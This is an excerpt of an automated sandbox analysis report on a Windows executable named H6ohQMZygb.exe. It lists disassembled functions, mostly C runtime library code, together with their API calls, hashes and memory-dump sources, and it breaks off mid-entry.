Opcode Fuzzy Hash: 5caa3b2ec9d7e7a512d0df25e581f30353b4115a86f1ef70c9cf4454ff7be6f0
Instruction Fuzzy Hash: A7512D32980205ABDB205F69CC40EBE77AAEF49378F14D23DF919DA181DB31D541CA64

Uniqueness

Uniqueness Score: -1.00%

Function 00411C0E Relevance: 9.2, APIs: 6, Instructions: 200COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftoe.LIBCMT ref: 00411C3A
__cftoe.LIBCMT ref: 00411C6C

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: __cftoe
String ID:
API String ID: 4189289331-0
Opcode ID: ff5892bce71451548c4b95a00ea70e49ceef914b0e3c839732873924502d360c
Instruction ID: 0809fb48e851cf28011a93cbc4d5b669e913cf54ee4ee45098bd78ae333b736a
Opcode Fuzzy Hash: ff5892bce71451548c4b95a00ea70e49ceef914b0e3c839732873924502d360c
Instruction Fuzzy Hash: D3510D32900205ABDF245B69DC41FEF77A9AF49364F20411FF919962A2EB3CDDC0866C

Uniqueness

Uniqueness Score: -1.00%

Function 02E0CCAC Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,02E0CCA3,02E0A552), ref: 02E0CCBA
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 02E0CCC8
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 02E0CCE1
SetLastError.KERNEL32(00000000,?,02E0CCA3,02E0A552), ref: 02E0CD33

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 340fdcc53a4a27112ccf8ccf3e560e661aeaa0a00d443315917f5c8eadc161eb
Instruction ID: c84e7b673e23219cbbfbc51c5a8796e8f628221f2fb700534fe567c221909131
Opcode Fuzzy Hash: 340fdcc53a4a27112ccf8ccf3e560e661aeaa0a00d443315917f5c8eadc161eb
Instruction Fuzzy Hash: 0E01D8326882115DA62817B9BCC4B672A55EB12778730F33BF624904F1FF1148879A88

Uniqueness

Uniqueness Score: -1.00%

Function 0040CA45 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0040CA3C,0040A2EB), ref: 0040CA53
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0040CA61
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0040CA7A
SetLastError.KERNEL32(00000000,?,0040CA3C,0040A2EB), ref: 0040CACC

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 1ee1344c3c394b1cb95bb9cb8620a2147a072dc2ff7a1dc65f533a2d6c18f342
Instruction ID: 03d29d8a78f1390287a91a95b4f73e20024c2acda06e75366fae50eee8a0db5c
Opcode Fuzzy Hash: 1ee1344c3c394b1cb95bb9cb8620a2147a072dc2ff7a1dc65f533a2d6c18f342
Instruction Fuzzy Hash: D0014532B182119EF72867B97DC5B2B2654DB01378320033FF614A12F2EEB94C09954C

Uniqueness

Uniqueness Score: -1.00%

Function 00417EFF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00417F8A
__alldvrm.LIBCMT ref: 0041818B
__alldvrm.LIBCMT ref: 004181AD

Strings

@@, xrefs: 00417F01

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID: @@
API String ID: 1036877536-4185446002
Opcode ID: 9f50f1287645af974fc9ab0e232f0a64255fc9c04b425e4a8d194d882ff023bd
Instruction ID: 2a3efa6a6cb2835be00b664cc8bc771a1c80bf1f391c324d6350ffb35f30a138
Opcode Fuzzy Hash: 9f50f1287645af974fc9ab0e232f0a64255fc9c04b425e4a8d194d882ff023bd
Instruction Fuzzy Hash: 1DA13672A04386AFD711CE18C8817EBBBE1EF56354F28416FE4859B381CA3C8982C758

Uniqueness

Uniqueness Score: -1.00%

Function 02E17110 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,02E0E727,?,?,?,02E0EE24,?), ref: 02E17114
_free.LIBCMT ref: 02E17147
_free.LIBCMT ref: 02E1716F
SetLastError.KERNEL32(00000000), ref: 02E1717C
SetLastError.KERNEL32(00000000), ref: 02E17188
_abort.LIBCMT ref: 02E1718E

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: 6015823108f0105fca90548a1465c8f9c577cb92af9b7acdd2cac614d89bbe91
Instruction ID: f00231762d48a432de5001905ff2c2d0695e5930388ddb8649787968fe83bbf8
Opcode Fuzzy Hash: 6015823108f0105fca90548a1465c8f9c577cb92af9b7acdd2cac614d89bbe91
Instruction Fuzzy Hash: 1EF0283A7C4600AAC31273B56C08F6FA61B9BC1F29F24F134F925D2194EF3088428479

Uniqueness

Uniqueness Score: -1.00%

Function 00416EA9 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0040E4C0,?,?,?,0040EBBD,?), ref: 00416EAD
_free.LIBCMT ref: 00416EE0
_free.LIBCMT ref: 00416F08
SetLastError.KERNEL32(00000000), ref: 00416F15
SetLastError.KERNEL32(00000000), ref: 00416F21
_abort.LIBCMT ref: 00416F27

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: 6015823108f0105fca90548a1465c8f9c577cb92af9b7acdd2cac614d89bbe91
Instruction ID: 7926ece06e5f986defbb267dbe22c0624e23302f4d15aa0e6ade2331edafcba1
Opcode Fuzzy Hash: 6015823108f0105fca90548a1465c8f9c577cb92af9b7acdd2cac614d89bbe91
Instruction Fuzzy Hash: 91F0F936644601A7C2216376BC09FEF1A26DBC1769B32052FF92892295EF2CC8C3456D

Uniqueness

Uniqueness Score: -1.00%

Function 02E01AE6 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 39COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 02E01B30
std::system_error::system_error.LIBCPMT ref: 02E01B3F

Strings

ios_base::eofbit set, xrefs: 02E01B07
ios_base::badbit set, xrefs: 02E01AF7, 02E01B18
ios_base::failbit set, xrefs: 02E01B02, 02E01B39

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::system_error::system_error
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 1589814233-1866435925
Opcode ID: 9e318228cb8ef9d3dfd36357251b89842f0cf39e9d086950e3936389e2199adc
Instruction ID: 069615567f2fa7461dd95c84e3cf17b56ab198f5d1cf925f5db14e789b7de08c
Opcode Fuzzy Hash: 9e318228cb8ef9d3dfd36357251b89842f0cf39e9d086950e3936389e2199adc
Instruction Fuzzy Hash: C7F0C87154025CA3DF10A9949891FD97B599F14794F10E029FD486E1D0E7B45D81CBE8

Uniqueness

Uniqueness Score: -1.00%

Function 0040187F Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 39COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 004018C9
std::system_error::system_error.LIBCPMT ref: 004018D8

Strings

ios_base::badbit set, xrefs: 00401890, 004018B1
ios_base::failbit set, xrefs: 0040189B, 004018D2
ios_base::eofbit set, xrefs: 004018A0

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: Exception@8Throwstd::system_error::system_error
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 1589814233-1866435925
Opcode ID: 9e318228cb8ef9d3dfd36357251b89842f0cf39e9d086950e3936389e2199adc
Instruction ID: 86e07e5d88e705ef490a875d1326b81026f9f64a75b3479c65407faf5eda7997
Opcode Fuzzy Hash: 9e318228cb8ef9d3dfd36357251b89842f0cf39e9d086950e3936389e2199adc
Instruction Fuzzy Hash: 37F0AF6290026866DB10AA619802BEA7B989F09754F24C03BFD45762E1E6B85E04C6ED

Uniqueness

Uniqueness Score: -1.00%

Function 00413BFC Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00413BAD,00000003,?,00413B4D,00000003,0043D770,0000000C,00413CA4,00000003,00000002), ref: 00413C1C
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00413C2F
FreeLibrary.KERNEL32(00000000,?,?,?,00413BAD,00000003,?,00413B4D,00000003,0043D770,0000000C,00413CA4,00000003,00000002,00000000), ref: 00413C52

Strings

mscoree.dll, xrefs: 00413C15
CorExitProcess, xrefs: 00413C27

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 9027d72aae60240a8f4e8ddb234163ad90013357be99e9e1a9cbb0ead728a526
Instruction ID: 79518e730fa700ddf52a0cd3402bacc229f6af156f8a01b3d1169405ad5b0821
Opcode Fuzzy Hash: 9027d72aae60240a8f4e8ddb234163ad90013357be99e9e1a9cbb0ead728a526
Instruction Fuzzy Hash: 9EF04431A00218BBDB159F94DC4ABEEBFB4EF08712F404176B805A2261DB354E55CA99

Uniqueness

Uniqueness Score: -1.00%

Function 02E1AE70 Relevance: 7.7, APIs: 5, Instructions: 222COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 801854a4469607bbae882b4229a00023834eb63e26534fadc42ab0327bf3e77a
Instruction ID: 2d50bfa1c1699d4fbe741b30029bdabcd9481671e41c59d65493d15780e34a47
Opcode Fuzzy Hash: 801854a4469607bbae882b4229a00023834eb63e26534fadc42ab0327bf3e77a
Instruction Fuzzy Hash: 5C71BE71981216DBCB218FA5C884ABFBB79FF4535CF54A27DE82197280D7709981CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0041AC09 Relevance: 7.7, APIs: 5, Instructions: 222COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 801854a4469607bbae882b4229a00023834eb63e26534fadc42ab0327bf3e77a
Instruction ID: 614c5c16cfbcceef91ce0336aee6e366f1c1e50b98915bfb69167c751c4f1067
Opcode Fuzzy Hash: 801854a4469607bbae882b4229a00023834eb63e26534fadc42ab0327bf3e77a
Instruction Fuzzy Hash: A971C131A423169BDB218B95C884AFFBB75EF45314F14422BE415A7380D7788DE2C7AB

Uniqueness

Uniqueness Score: -1.00%

Function 02E149C3 Relevance: 7.7, APIs: 5, Instructions: 187COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 02E17E3C: RtlAllocateHeap.NTDLL(00000000,00000000), ref: 02E17E6E

_free.LIBCMT ref: 02E14ACE
_free.LIBCMT ref: 02E14AE5
_free.LIBCMT ref: 02E14B04
_free.LIBCMT ref: 02E14B1F
_free.LIBCMT ref: 02E14B36

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID: _free$AllocateHeap
String ID:
API String ID: 3033488037-0
Opcode ID: 260f65ed778b5c482ae21760fc8ffa97a87428f7f76e5da966599312304cc315
Instruction ID: 011506913a3549825bafbcc30b21984a6c1c37331e030cdafc484bbb627c2637
Opcode Fuzzy Hash: 260f65ed778b5c482ae21760fc8ffa97a87428f7f76e5da966599312304cc315
Instruction Fuzzy Hash: 8F51A072A803049FDB21DF69C881BAAB7F9EF48724B149579E849DB3D0E731E911CB44

Uniqueness

Uniqueness Score: -1.00%

Function 02E1545A Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 02E154CC
_free.LIBCMT ref: 02E154EC

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 22eacd9d2394d8aa392eb431d3423f4c6fe23b03299df20a8151364fa2aa9d31
Instruction ID: 946c26324f57ce9b04bf88a0e1724eef096b22ca4316acd90c79be474608d433
Opcode Fuzzy Hash: 22eacd9d2394d8aa392eb431d3423f4c6fe23b03299df20a8151364fa2aa9d31
Instruction Fuzzy Hash: D941CE72A40300DFDB14DF78C880A6AB7F6EF89714B5595B9E916EB381DB31E905CB80

Uniqueness

Uniqueness Score: -1.00%

Function 004151F3 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00415265
_free.LIBCMT ref: 00415285

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 22eacd9d2394d8aa392eb431d3423f4c6fe23b03299df20a8151364fa2aa9d31
Instruction ID: f358f4d082745bdb50e4265c829ce2ea29752c2840f099dccaad1c7399682d5d
Opcode Fuzzy Hash: 22eacd9d2394d8aa392eb431d3423f4c6fe23b03299df20a8151364fa2aa9d31
Instruction Fuzzy Hash: 5241E032A00600DFCB14DFB9C880A9AB7B1EF84314B2145AEE915EB382D635ED41CB88

Uniqueness

Uniqueness Score: -1.00%

Function 0041B5B9 Relevance: 7.6, APIs: 5, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,00411B29,?,00000000,?,00000001,?,?,00000001,00411B29,?), ref: 0041B606
__alloca_probe_16.LIBCMT ref: 0041B63E
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 0041B68F
GetStringTypeW.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00410F7E,?), ref: 0041B6A1
__freea.LIBCMT ref: 0041B6AA

Part of subcall function 00417BD5: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,0041B65D,00000000,?,00410F7E,?,00000008,?,00411B29,?,?,?), ref: 00417C07

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__alloca_probe_16__freea
String ID:
API String ID: 313313983-0
Opcode ID: 52f79a5540494c78364897bdee865e3cab429d3cec435b8adc3fedf30e20ad2b
Instruction ID: 8fdffa4643e3de979756c98e83999ea0474780d27de482bdf42a1c14b987ae4d
Opcode Fuzzy Hash: 52f79a5540494c78364897bdee865e3cab429d3cec435b8adc3fedf30e20ad2b
Instruction Fuzzy Hash: 1631AC32A0020AABDF249F65CC81DEF7BA5EF50314B14412AFC04D6290E739CDA5CBD9

Uniqueness

Uniqueness Score: -1.00%

Function 02E1E92A Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 02E1E933
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 02E1E956

Part of subcall function 02E17E3C: RtlAllocateHeap.NTDLL(00000000,00000000), ref: 02E17E6E

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 02E1E97C
_free.LIBCMT ref: 02E1E98F
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 02E1E99E

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: ace82c47b4c34f6902a2771956e9a196898353cf35a26c55a30ae3a6caa20614
Instruction ID: a19f89475009349c557bb51122303635bedd9798a601847f8d288ce9ed6f6ff7
Opcode Fuzzy Hash: ace82c47b4c34f6902a2771956e9a196898353cf35a26c55a30ae3a6caa20614
Instruction Fuzzy Hash: 0501D472A41315BF672116B65C88C7FAE6DDEC6AA93189279FD04C7104DF608C0281F5

Uniqueness

Uniqueness Score: -1.00%

Function 0041E6C3 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 0041E6CC
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041E6EF

Part of subcall function 00417BD5: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,0041B65D,00000000,?,00410F7E,?,00000008,?,00411B29,?,?,?), ref: 00417C07

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0041E715
_free.LIBCMT ref: 0041E728
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0041E737

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: b1221be8a4fa03ef1b5f750bcd431f23be749f683778c0fa3e76f8e52b5d90b5
Instruction ID: 82582e8a01a7668abf9636692f50e68ddf16a11630df600510af9caf15dd4ea4
Opcode Fuzzy Hash: b1221be8a4fa03ef1b5f750bcd431f23be749f683778c0fa3e76f8e52b5d90b5
Instruction Fuzzy Hash: E401D876601215BB33211AB75CC8CBF6A6DEEC2BA4355023EFD14C7240EE689C4281B9

Uniqueness

Uniqueness Score: -1.00%

Function 02E17194 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,02E12784,02E17497,?,02E1713E,00000001,00000364,?,02E0E727,?,?,?,02E0EE24,?), ref: 02E17199
_free.LIBCMT ref: 02E171CE
_free.LIBCMT ref: 02E171F5
SetLastError.KERNEL32(00000000), ref: 02E17202
SetLastError.KERNEL32(00000000), ref: 02E1720B

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 4c406230f718e4226fa72a7a076d77b50a2e7e5dc77ab9dadad4d490fbc391d9
Instruction ID: 5c500e347d69e2e682756a12bf624b44be93c2781917c87804fcb55e45afea22
Opcode Fuzzy Hash: 4c406230f718e4226fa72a7a076d77b50a2e7e5dc77ab9dadad4d490fbc391d9
Instruction Fuzzy Hash: 5D01F976BC4600A7C31667B56C84F2F962FABC5F69360B534F92A92190EF308906C479

Uniqueness

Uniqueness Score: -1.00%

Function 00416F2D Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,0041251D,00417230,?,00416ED7,00000001,00000364,?,0040E4C0,?,?,?,0040EBBD,?), ref: 00416F32
_free.LIBCMT ref: 00416F67
_free.LIBCMT ref: 00416F8E
SetLastError.KERNEL32(00000000), ref: 00416F9B
SetLastError.KERNEL32(00000000), ref: 00416FA4

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 4c406230f718e4226fa72a7a076d77b50a2e7e5dc77ab9dadad4d490fbc391d9
Instruction ID: 9e45a39de80ef937e469255da390d565c6d4f500c43e24b2a349a4ca5213367b
Opcode Fuzzy Hash: 4c406230f718e4226fa72a7a076d77b50a2e7e5dc77ab9dadad4d490fbc391d9
Instruction Fuzzy Hash: 63012B36248600AAC61126757C45EAB1629EBC4368332053FF81992291EB6CCC87001C

Uniqueness

Uniqueness Score: -1.00%

Function 02E1F295 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 02E1F2AD

Part of subcall function 02E16691: HeapFree.KERNEL32(00000000,00000000,?,02E1F548,?,00000000,?,00000000,?,02E1F7EC,?,00000007,?,?,02E1FBE0,?), ref: 02E166A7
Part of subcall function 02E16691: GetLastError.KERNEL32(?,?,02E1F548,?,00000000,?,00000000,?,02E1F7EC,?,00000007,?,?,02E1FBE0,?,?), ref: 02E166B9

_free.LIBCMT ref: 02E1F2BF
_free.LIBCMT ref: 02E1F2D1
_free.LIBCMT ref: 02E1F2E3
_free.LIBCMT ref: 02E1F2F5

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 70fece77161c000bc5094ec3bd72a10f8eec30b9754d7f31ded7374f394bbdac
Instruction ID: 0a5fd1ebceec474673b74afb3de0afb0e9157321f574b877db1d205b3333b69a
Opcode Fuzzy Hash: 70fece77161c000bc5094ec3bd72a10f8eec30b9754d7f31ded7374f394bbdac
Instruction Fuzzy Hash: 10F0FF36944700EBCA24DB68F5C5C56B3DEAB047297B4A839F889D7910CB30FC858AD8

Uniqueness

Uniqueness Score: -1.00%

Function 0041F02E Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0041F046

Part of subcall function 0041642A: RtlFreeHeap.NTDLL(00000000,00000000,?,0041F2E1,?,00000000,?,00000000,?,0041F585,?,00000007,?,?,0041F979,?), ref: 00416440
Part of subcall function 0041642A: GetLastError.KERNEL32(?,?,0041F2E1,?,00000000,?,00000000,?,0041F585,?,00000007,?,?,0041F979,?,?), ref: 00416452

_free.LIBCMT ref: 0041F058
_free.LIBCMT ref: 0041F06A
_free.LIBCMT ref: 0041F07C
_free.LIBCMT ref: 0041F08E

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 70fece77161c000bc5094ec3bd72a10f8eec30b9754d7f31ded7374f394bbdac
Instruction ID: c3262fb26f53c56fec517f024f3f3f317315150c26307315e6820435b5c648a0
Opcode Fuzzy Hash: 70fece77161c000bc5094ec3bd72a10f8eec30b9754d7f31ded7374f394bbdac
Instruction Fuzzy Hash: CCF06232800600EBDA20EB69F581C977BD9FA083243A5982FF84CD7612D738FCC9865C

Uniqueness

Uniqueness Score: -1.00%

Function 02E156A9 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 02E156C7

Part of subcall function 02E16691: HeapFree.KERNEL32(00000000,00000000,?,02E1F548,?,00000000,?,00000000,?,02E1F7EC,?,00000007,?,?,02E1FBE0,?), ref: 02E166A7
Part of subcall function 02E16691: GetLastError.KERNEL32(?,?,02E1F548,?,00000000,?,00000000,?,02E1F7EC,?,00000007,?,?,02E1FBE0,?,?), ref: 02E166B9

_free.LIBCMT ref: 02E156D9
_free.LIBCMT ref: 02E156EC
_free.LIBCMT ref: 02E156FD
_free.LIBCMT ref: 02E1570E

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 3b15f3c70a94498b9c0cd73f5558b7167b435568406c5b9b6696e7ab4c2097ed
Instruction ID: b051a6040bc2b38e0814e6b3194dc32d9c024b48016a09ca60bd6c0c6d517687
Opcode Fuzzy Hash: 3b15f3c70a94498b9c0cd73f5558b7167b435568406c5b9b6696e7ab4c2097ed
Instruction Fuzzy Hash: 97F09AB8C40220DFCB096F18FC815097B65BB06720361623AF94986234CF3464798FCE

Uniqueness

Uniqueness Score: -1.00%

Function 00415442 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00415460

Part of subcall function 0041642A: RtlFreeHeap.NTDLL(00000000,00000000,?,0041F2E1,?,00000000,?,00000000,?,0041F585,?,00000007,?,?,0041F979,?), ref: 00416440
Part of subcall function 0041642A: GetLastError.KERNEL32(?,?,0041F2E1,?,00000000,?,00000000,?,0041F585,?,00000007,?,?,0041F979,?,?), ref: 00416452

_free.LIBCMT ref: 00415472
_free.LIBCMT ref: 00415485
_free.LIBCMT ref: 00415496
_free.LIBCMT ref: 004154A7

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 3b15f3c70a94498b9c0cd73f5558b7167b435568406c5b9b6696e7ab4c2097ed
Instruction ID: 11979ea47bba892344a4f50d71b97d14aec93ddff2869e46353f6e2cc705173f
Opcode Fuzzy Hash: 3b15f3c70a94498b9c0cd73f5558b7167b435568406c5b9b6696e7ab4c2097ed
Instruction Fuzzy Hash: D8F090B8C00120DB87096F14FC825893F60FB0A718312523FFD0842239DB3889E98F8D

Uniqueness

Uniqueness Score: -1.00%

Function 02E136BA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\H6ohQMZygb.exe,00000104), ref: 02E136FA
_free.LIBCMT ref: 02E137C5
_free.LIBCMT ref: 02E137CF

Strings

C:\Users\user\Desktop\H6ohQMZygb.exe, xrefs: 02E136F1, 02E136F8, 02E13727, 02E1375F

Memory Dump Source

